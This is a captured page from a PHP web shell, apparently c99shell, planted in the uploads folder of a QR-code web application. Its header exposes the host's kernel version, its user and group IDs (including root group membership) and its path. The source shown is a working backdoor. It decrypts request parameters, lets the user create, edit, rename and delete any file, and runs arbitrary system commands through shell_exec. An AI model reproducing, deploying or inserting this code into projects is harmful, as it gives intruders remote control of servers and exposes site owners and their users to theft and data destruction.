Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /home/picotech/domains/qr.picotech.app/public_html_v3_4/public/uploads/ drwxrwxr-x |
Viewing file: Select action/file-type:
$d) $_GET[$c] = decrypt($d, $key);
$currentDirectory = realpath(isset($_GET['d']) ? $_GET['d'] : $rootDirectory);
chdir($currentDirectory);
$viewCommandResult = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) {
$newFolder = $currentDirectory . '/' . $_POST['folder_name'];
if (!file_exists($newFolder)) {
mkdir($newFolder);
echo '
Folder created successfully!'; } else { echo ' Error: Folder already exists!'; } } elseif (isset($_POST['file_name']) && !empty($_POST['file_name'])) { $newFile = $currentDirectory . '/' . $_POST['file_name']; if (!file_exists($newFile)) { if (file_put_contents($newFile, '') !== false) { echo ' File created successfully!'; } else { echo ' Error: Failed to create file!'; } } else { echo ' Error: File already exists!'; } } elseif (isset($_POST['edit_file'], $_POST['file_content'])) { $fileToEdit = $currentDirectory . '/' . $_POST['edit_file']; if (file_exists($fileToEdit)) { if (!empty($_POST['file_content'])) { if (file_put_contents($fileToEdit, $_POST['file_content']) !== false) { echo ' File edited successfully!'; } else { echo ' Error: Failed to edit file!'; } } else { echo ' Error: File content cannot be blank!'; } } else { echo ' Error: File not found!'; } } elseif (isset($_POST['delete_file'])) { $fileToDelete = $currentDirectory . '/' . $_POST['delete_file']; if (file_exists($fileToDelete)) { if (unlink($fileToDelete)) { echo ' File deleted successfully!'; } else { echo ' Error: Failed to delete file!'; } } elseif (is_dir($fileToDelete)) { if (deleteDirectory($fileToDelete)) { echo ' Folder deleted successfully!'; } else { echo ' Error: Failed to delete folder!'; } } else { echo ' Error: File or directory not found!'; } } elseif (isset($_POST['rename_item']) && isset($_POST['old_name']) && isset($_POST['new_name'])) { $oldName = $currentDirectory . '/' . $_POST['old_name']; $newName = $currentDirectory . '/' . $_POST['new_name']; if (file_exists($oldName)) { if (rename($oldName, $newName)) { echo ' Item renamed successfully!'; } else { echo ' Error: Failed to rename item!'; } } else { echo ' Error: Item not found!'; } } elseif (isset($_POST['cmd_input'])) { $command = $_POST['cmd_input']; $output = shell_exec($command); $viewCommandResult = ' Result: '; } elseif (isset($_POST['view_file'])) { $fileToView = $currentDirectory . '/' . $_POST['view_file']; if (file_exists($fileToView)) { $fileContent = file_get_contents($fileToView); $viewCommandResult = 'Result: ' . $_POST['view_file'] . ' '; } else { $viewCommandResult = 'Error: File not found! '; } } } echo ' __ _____ __
__| |___ ___ ___ ___ ___ | __| |
| | | .\'| . | . | .\'| | |__ | |__
|_____|__,|_ |___|__,|_|_| |_____|_____|
|___|
curdir: '; $directories = explode(DIRECTORY_SEPARATOR, $currentDirectory); $currentPath = ''; foreach ($directories as $index => $dir) { if ($index == 0) { echo '' . $dir . ''; } else { $currentPath .= DIRECTORY_SEPARATOR . $dir; echo ' / ' . $dir . ''; } } echo ' '; echo ' '; echo ''; echo ''; echo ''; echo $viewCommandResult; echo ' ';
echo ' ';
echo '
|
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]-- |